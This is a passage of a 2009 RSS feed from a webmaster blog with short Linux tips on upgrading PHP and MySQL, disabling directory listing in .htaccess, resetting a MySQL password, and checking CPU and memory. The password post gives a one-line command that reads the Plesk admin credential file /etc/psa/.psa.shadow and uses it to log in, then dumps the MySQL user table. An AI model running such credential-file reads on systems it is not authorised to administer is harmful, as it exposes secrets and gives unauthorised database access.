		<comments>http://www.webmastersucks.com/php-5-2-9-updated-but-mysql-doesnt-work/#comments</comments>
		<pubDate>Fri, 12 Jun 2009 18:54:42 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[MySQL]]></category>
		<category><![CDATA[Php]]></category>
		<category><![CDATA[enablerepo]]></category>
		<category><![CDATA[mysql error]]></category>
		<category><![CDATA[mysql install]]></category>
		<category><![CDATA[mysql upgrade]]></category>
		<category><![CDATA[php 5.2.9]]></category>
		<category><![CDATA[php error]]></category>
		<category><![CDATA[php install]]></category>
		<category><![CDATA[php modules]]></category>
		<category><![CDATA[php upgrade]]></category>
		<category><![CDATA[php-mysql upgrade]]></category>
		<category><![CDATA[remi]]></category>

		<guid isPermaLink="false">http://www.webmastersucks.com/?p=151</guid>
		<description><![CDATA[
			
				
			
		
I blogged Php 5.2.9 Upgrade. Some of my user updated with using this entry. But i miss something in these entry. Firstly, i have to say. If you upgrade php version, you have to upgrade mysql and php-mysql.
To Upgrade Mysql and Php-Mysql tool


yum --enablerepo=remi update mysql*
yum --enablerepo=remi update php-mysql

And there one more thing, he was [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: left; margin-right: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.webmastersucks.com%2Fphp-5-2-9-updated-but-mysql-doesnt-work%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.webmastersucks.com%2Fphp-5-2-9-updated-but-mysql-doesnt-work%2F&amp;style=normal" height="61" width="50" /><br />
			</a>
		</div>
<p>I blogged <a href="/update-php-to-529-in-centos/" target="_blank">Php 5.2.9 Upgrade</a>. Some of my user updated with using this entry. But i miss something in these entry. Firstly, i have to say. If you upgrade php version, you have to upgrade mysql and php-mysql.</p>
<p><strong>To Upgrade Mysql and Php-Mysql tool<br />
</strong>
<pre class="brush: plain;">
yum --enablerepo=remi update mysql*
yum --enablerepo=remi update php-mysql
</pre>
<p>And there one more thing, he was php4 and upgrade to 5. Firstly we can not upgrade, we install php newly.</p>
<p><strong>Installing Php</strong></p>
<pre class="brush: plain;">yum --enablerepo=remi install php</pre>
<p>When you install on old version, there will be somethings to change.  Their extentions directory are different<br />
<strong>Old One<br />
</strong>extension_dir = /usr/lib/php4</p>
<p><strong>New one (Php 5)<br />
</strong>extension_dir = /usr/lib/php/modules</p>
<p><strong>And i restarted services</strong></p>
<pre class="brush: plain;">/etc/init.d/mysqld restart
/etc/init.d/httpd restart</pre>
<p>I get error in httpd restart</p>
<blockquote><p>PHP Warning:  Module &#8216;mysql&#8217; already loaded in Unknown on line 0<br />
PHP Warning:  Module &#8216;mysqli&#8217; already loaded in Unknown on line 0</p></blockquote>
<p>Because mysql is standart module in php5, we dont need load mysql in config file. I change php.ini file (/etc/php.ini) Only i add ; character, it is for comments.</p>
<pre class="brush: plain;">;extension=mysql.so
;extension=mysqli.so</pre>
]]></content:encoded>
			<wfw:commentRss>http://www.webmastersucks.com/php-5-2-9-updated-but-mysql-doesnt-work/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Deny Directory Listing in .htaccess</title>
		<link>http://www.webmastersucks.com/deny-directory-listing-in-htaccess/</link>
		<comments>http://www.webmastersucks.com/deny-directory-listing-in-htaccess/#comments</comments>
		<pubDate>Mon, 08 Jun 2009 18:25:16 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[deny directory]]></category>
		<category><![CDATA[directory listing]]></category>
		<category><![CDATA[directoryindex]]></category>
		<category><![CDATA[disable directory]]></category>
		<category><![CDATA[htaccess]]></category>

		<guid isPermaLink="false">http://www.webmastersucks.com/?p=108</guid>
		<description><![CDATA[
			
				
			
		
Some webmasters upload a blank index.html for dont index directories. Thats a way of listing directories. But htaccess is more easier solution for this. Just add this code to your .htaccess file
Options -Indexes
Allow directory index, remove the that code or change
Options +Indexes
If you want to list files in directory, but except some of filetypes. Example [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: left; margin-right: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.webmastersucks.com%2Fdeny-directory-listing-in-htaccess%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.webmastersucks.com%2Fdeny-directory-listing-in-htaccess%2F&amp;style=normal" height="61" width="50" /><br />
			</a>
		</div>
<p>Some webmasters upload a blank index.html for dont index directories. Thats a way of listing directories. But htaccess is more easier solution for this. Just add this code to your .htaccess file</p>
<pre class="brush: plain;">Options -Indexes</pre>
<p>Allow directory index, remove the that code or change</p>
<pre class="brush: plain;">Options +Indexes</pre>
<p>If you want to list files in directory, but except some of filetypes. Example this code is ignoring zip and rar files.</p>
<pre class="brush: plain;">IndexIgnore *.zip *.rar</pre>
<p> <span>You can disable directory indexing with indexignore too</span></p>
<p><span>
<pre class="brush: plain;">IndexIgnore *</pre>
<p> <span>Another way is changing the directory index file</span></p>
<p></span><span>
<pre class="brush: plain;">DirectoryIndex this_my_index_file.html</pre>
<p></span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.webmastersucks.com/deny-directory-listing-in-htaccess/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Change MySQL Password via SSH</title>
		<link>http://www.webmastersucks.com/change-mysql-password-via-ssh/</link>
		<comments>http://www.webmastersucks.com/change-mysql-password-via-ssh/#comments</comments>
		<pubDate>Wed, 03 Jun 2009 10:08:46 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[MySQL]]></category>
		<category><![CDATA[password]]></category>
		<category><![CDATA[ssh]]></category>

		<guid isPermaLink="false">http://www.webmastersucks.com/?p=37</guid>
		<description><![CDATA[
			
				
			
		
login ssh, type mysqladmin. A tip if you can not remember mysql password type
mysql -uadmin -p`cat /etc/psa/.psa.shadow`

mysql&#62; USE mysql;
mysql&#62; SELECT * FROM user;
mysql&#62; SET PASSWORD FOR 'username'@'hostname' = PASSWORD('password_here');
mysql&#62; FLUSH PRIVILEGES;

]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: left; margin-right: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.webmastersucks.com%2Fchange-mysql-password-via-ssh%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.webmastersucks.com%2Fchange-mysql-password-via-ssh%2F&amp;style=normal" height="61" width="50" /><br />
			</a>
		</div>
<p>login ssh, type mysqladmin. A tip if you can not remember mysql password type</p>
<pre class="brush: plain;">mysql -uadmin -p`cat /etc/psa/.psa.shadow`</pre>
<pre class="brush: plain;">
mysql&gt; USE mysql;
mysql&gt; SELECT * FROM user;
mysql&gt; SET PASSWORD FOR 'username'@'hostname' = PASSWORD('password_here');
mysql&gt; FLUSH PRIVILEGES;
</pre>
]]></content:encoded>
			<wfw:commentRss>http://www.webmastersucks.com/change-mysql-password-via-ssh/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How to Get CPU Information on Linux</title>
		<link>http://www.webmastersucks.com/how-to-get-cpu-information-on-linux/</link>
		<comments>http://www.webmastersucks.com/how-to-get-cpu-information-on-linux/#comments</comments>
		<pubDate>Tue, 02 Jun 2009 08:21:59 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Php]]></category>
		<category><![CDATA[apache version]]></category>
		<category><![CDATA[cpu information]]></category>
		<category><![CDATA[memory information]]></category>
		<category><![CDATA[php version]]></category>
		<category><![CDATA[version]]></category>

		<guid isPermaLink="false">http://www.webmastersucks.com/?p=34</guid>
		<description><![CDATA[
			
				
			
		
cat /proc/cpuinfo
or
less /proc/cpuinfo
Memory Information
cat /proc/meminfo
PHP Version Information
php -v
Apache Version Information
httpd -v
]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: left; margin-right: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.webmastersucks.com%2Fhow-to-get-cpu-information-on-linux%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.webmastersucks.com%2Fhow-to-get-cpu-information-on-linux%2F&amp;style=normal" height="61" width="50" /><br />
			</a>
		</div>
<pre class="brush: plain;">cat /proc/cpuinfo</pre>
<p>or
<pre class="brush: plain;">less /proc/cpuinfo</pre>
<p><strong>Memory Information</strong></p>
<pre class="brush: plain;">cat /proc/meminfo</pre>
<p><strong>PHP Version Information</strong></p>
<pre class="brush: plain;">php -v</pre>
<p><strong>Apache Version Information</strong></p>
<pre class="brush: plain;">httpd -v</pre>
]]></content:encoded>
			<wfw:commentRss>http://www.webmastersucks.com/how-to-get-cpu-information-on-linux/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
	</channel>
</rss>
